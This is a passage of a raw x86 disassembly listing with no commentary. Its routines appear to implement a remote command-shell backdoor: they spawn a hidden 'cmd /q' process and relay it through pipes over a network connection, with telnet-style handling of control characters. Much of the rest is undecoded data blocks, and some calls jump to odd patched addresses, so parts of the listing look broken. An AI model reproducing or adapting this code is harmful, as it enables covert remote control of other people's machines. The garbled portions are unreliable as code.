push dword ptr [esi+0Ch]
call dword_4CBA6C
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411911
mov ebx, dword_427108
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427070
test eax, eax
jnz short loc_41188A
nop
call near ptr 26C0CC8h
push eax
push offset unk_435604
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_4118B2
call near ptr 26C0CC8h
nop
push eax
push offset unk_4355C4
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_43559C
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BF70
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 2750000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 26A02FDh
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E918[eax], ecx
call near ptr 26A0000h
nop
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
nop
call near ptr 26C0CC8h
push eax
push offset unk_435644
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, dword_427094
call esi
cmp eax, 6Dh
jz short loc_411AA6
call esi
push eax
push offset dword_435684
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9EC
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
nop
call near ptr 27D0000h
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 273186Ah
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; ---------------------------------------------------------------------------
word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o
dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h
dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh
dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h
dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh
dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h
dd 0E7F4E890h, 4D8B022Ah, 34C969C8h, 3B000002h, 248189C6h
dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 2AE772E8h
dd 0EDEB9002h, 0EF72E890h, 8D50022Ah, 0FFFD2C85h, 56F468FFh
dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh
dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
dd 59FFFF99h, 0E8905659h, 230E230h, 555B5E5Fh, 0EC81EC8Bh
dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h
dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h
dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
dd 0FFFF988Ah, 0ADE85359h, 900230E1h, 30858D53h, 68FFFFFBh
dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h
dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 905359FFh, 30E17BE8h
dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
dd 59FFFF97h, 0E5E89053h, 6A0230E0h, 0E8458D10h, 49E85053h
dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh
dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D900230h
dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
dd 5359FFFFh, 30DFDFE8h, 689002h, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh
dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 0DF82E853h
dd 0FF900230h, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
dd 0DF6AE853h
; ---------------------------------------------------------------------------
xor [edx], al
nop
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: ___:0041215Cj
; ___:0041218Cj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4120C5: ; CODE XREF: ___:004120D3j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: ___:004120CAj
cmp ecx, 1
jnz short loc_4120EA
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4120EA: ; CODE XREF: ___:004120D8j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9BC
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CB8C0
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: ___:0041211Cj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CB8C0
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: ___:00412131j
; ___:00412148j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o
; sub_40BD91+106o
dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h
dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 22AE2D3h
dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D900230h, 46AF045h
dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h
dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
dd 83004CBAh, 1975FFF8h, 138868h, 0E20DE800h, 0FF90022Ah
dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
dd 190h, 2AE1DAE8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
dd 1CC483FFh, 0D9E89053h, 8B0230DCh, 9F39087Dh, 2A0h, 27D840Fh
dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h
dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
dd 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h, 0FFF78485h
dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh, 88A00000h
dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
dd 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h, 5350C445h
dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h
dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h, 0FFFF31BDh
dd 850F01FFh, 0A3h, 0FD94858Dh, 0E850FFFFh, 95C0h, 75FF5353h
dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh, 0FFFA889Dh
dd 8985C6FFh, 3FFFFFAh, 20068h, 50016A00h, 0FA8A9D88h
dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh, 5650FFFFh
dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h, 38A7E8h
dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h
dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h
dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h
dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h
dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh
dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh
dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
dd 0E8FFFFFEh, 0FFFF90FAh, 1DE85359h, 900230DAh, 3E868h
dd 0DED1E800h, 5790022Ah, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
cmp dword ptr [ebp+98h], 0
jz short loc_41266C
push esi
mov esi, offset dword_435848
loc_412614: ; CODE XREF: ___:00412667j
push esi
push dword ptr [ebp+0Ch]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp-200h]
push dword ptr [ebp+8]
push offset dword_436BB4
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: ___:00412621j
add esi, 80h
cmp esi, offset dword_436448
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: ___:0041260Cj
push dword ptr [ebp+8]
lea eax, [ebp-200h]
push offset aS_1 ; "%s"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: ___:0041266Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o
dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h
dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
dd 86A0000h, 2ADDB6E8h, 15FF9002h, 4CB958h, 0FF8453Bh
dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h
dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h
dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh
dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah
dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h
dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh
dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h
dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch
dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh
dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h
dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh
dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh
dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh
dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh
dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h
dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
